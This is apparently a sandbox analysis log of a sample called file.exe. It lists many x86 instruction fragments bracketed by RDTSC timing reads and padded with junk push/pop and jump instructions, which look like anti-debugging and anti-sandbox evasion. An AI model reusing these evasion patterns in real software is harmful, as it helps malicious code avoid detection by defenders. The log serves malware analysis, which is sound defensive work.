Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43C45 second address: A43C5E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FE2B0E330DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43C5E second address: A43C63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43C63 second address: A43C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE2B0E330E9h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FE2B0E330E1h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43C9A second address: A43CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43CA3 second address: A43CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4424C second address: A44250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44250 second address: A44285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE2B0E330E8h 0x0000000d jmp 00007FE2B0E330E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4A7FA second address: A4A80E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE2B0E6B888h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FE2B0E6B886h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53918 second address: A5391E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5391E second address: A53922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51B8B second address: A51BE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FE2B0E330DDh 0x00000012 popad 0x00000013 jmp 00007FE2B0E330E9h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jne 00007FE2B0E330D6h 0x00000022 jmp 00007FE2B0E330E7h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BE2 second address: A51BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FE2B0E6B88Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BF5 second address: A51BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51BFB second address: A51C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5242C second address: A52431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52431 second address: A5243D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE2B0E6B886h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52879 second address: A5287D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52FD7 second address: A52FE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE2B0E6B886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5373B second address: A53777 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE2B0E330DCh 0x00000008 jl 00007FE2B0E330D6h 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jo 00007FE2B0E330D6h 0x0000001f push eax 0x00000020 pop eax 0x00000021 ja 00007FE2B0E330D6h 0x00000027 jmp 00007FE2B0E330DCh 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f jc 00007FE2B0E330D6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53777 second address: A53795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B898h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A259 second address: A5A261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A59F9B second address: A59FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6036F second address: A60382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E330DAh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A68642 second address: A6864F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FE2B0E6B88Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C998 second address: A6C9C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 jmp 00007FE2B0E330DDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FE2B0E330DCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C9C8 second address: A6C9CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C9CE second address: A6C9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C9D2 second address: A6C9F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE2B0E6B88Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C567 second address: A6C56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C56D second address: A6C57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jl 00007FE2B0E6B886h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C6A8 second address: A6C6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C6AC second address: A6C6C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E6B88Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C6C1 second address: A6C6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A723F9 second address: A723FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A846E1 second address: A8471E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FE2B0E330E8h 0x0000000c jnc 00007FE2B0E330D6h 0x00000012 pop esi 0x00000013 pop edi 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE2B0E330E3h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8471E second address: A84722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84E40 second address: A84E48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85122 second address: A85134 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FE2B0E6B88Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85134 second address: A8516B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E330E1h 0x0000000e jmp 00007FE2B0E330DFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EDCB second address: 98EDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EDD1 second address: 98EDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EDD7 second address: 98EDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C18E second address: A8C1AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE2B0E330E3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C1AB second address: A8C1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C1B0 second address: A8C1B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C1B8 second address: A8C1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C1BC second address: A8C1C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C1C0 second address: A8C1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007FE2B0E6B88Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007FE2B0E6B88Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C1E3 second address: A8C1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C54 second address: 993C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DE66 second address: 99DE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E330E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A980BC second address: A980C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE2B0E6B886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A980C6 second address: A980CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A980CA second address: A980F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c jmp 00007FE2B0E6B88Bh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A980F1 second address: A980F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A980F8 second address: A980FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A980FD second address: A98103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A478 second address: A9A47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A47C second address: A9A482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A482 second address: A9A48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A48C second address: A9A490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A490 second address: A9A494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A494 second address: A9A49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A49A second address: A9A4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9A4A0 second address: A9A4AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF54 second address: A9BF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF5A second address: A9BF86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 ja 00007FE2B0E330D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FE2B0E330DDh 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BDE0 second address: A9BDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE2B0E6B886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BDEA second address: A9BDEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA9E8 second address: AAAA21 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FE2B0E6B894h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE2B0E6B897h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAA21 second address: AAAA25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAA25 second address: AAAA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAA2D second address: AAAA47 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE2B0E330E4h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAA47 second address: AAAA4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA721 second address: AAA727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA727 second address: AAA736 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA736 second address: AAA73B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA73B second address: AAA740 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB12CF second address: AB12D9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE2B0E330D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB12D9 second address: AB12E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB12E2 second address: AB12E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB12E9 second address: AB12F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB12F0 second address: AB12F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB184C second address: AB185D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB185D second address: AB1863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1863 second address: AB1868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1868 second address: AB186D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB186D second address: AB188B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E6B895h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB19F4 second address: AB19F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB19F8 second address: AB1A02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE2B0E6B886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1B81 second address: AB1BB7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE2B0E330ECh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FE2B0E330E4h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FE2B0E330E0h 0x00000017 push ecx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB861F second address: AB8623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8623 second address: AB8627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8627 second address: AB862D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB81FF second address: AB821B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE2B0E330D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007FE2B0E330DAh 0x00000012 popad 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB821B second address: AB8221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8221 second address: AB8225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0837 second address: 4DB089C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FE2B0E6B896h 0x0000000f call dword ptr [7575188Ch] 0x00000015 mov edi, edi 0x00000017 push ebp 0x00000018 mov ebp, esp 0x0000001a push ecx 0x0000001b mov ecx, dword ptr [7FFE0004h] 0x00000021 mov dword ptr [ebp-04h], ecx 0x00000024 cmp ecx, 01000000h 0x0000002a jc 00007FE2B0E9D365h 0x00000030 mov eax, 7FFE0320h 0x00000035 mov eax, dword ptr [eax] 0x00000037 mul ecx 0x00000039 shrd eax, edx, 00000018h 0x0000003d mov esp, ebp 0x0000003f pop ebp 0x00000040 ret 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FE2B0E6B88Eh 0x00000048 adc ecx, 2EC364B8h 0x0000004e jmp 00007FE2B0E6B88Bh 0x00000053 popfd 0x00000054 mov ah, 34h 0x00000056 popad 0x00000057 pop ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b call 00007FE2B0E6B88Ch 0x00000060 pop ecx 0x00000061 mov cl, dl 0x00000063 popad 0x00000064 rdtsc
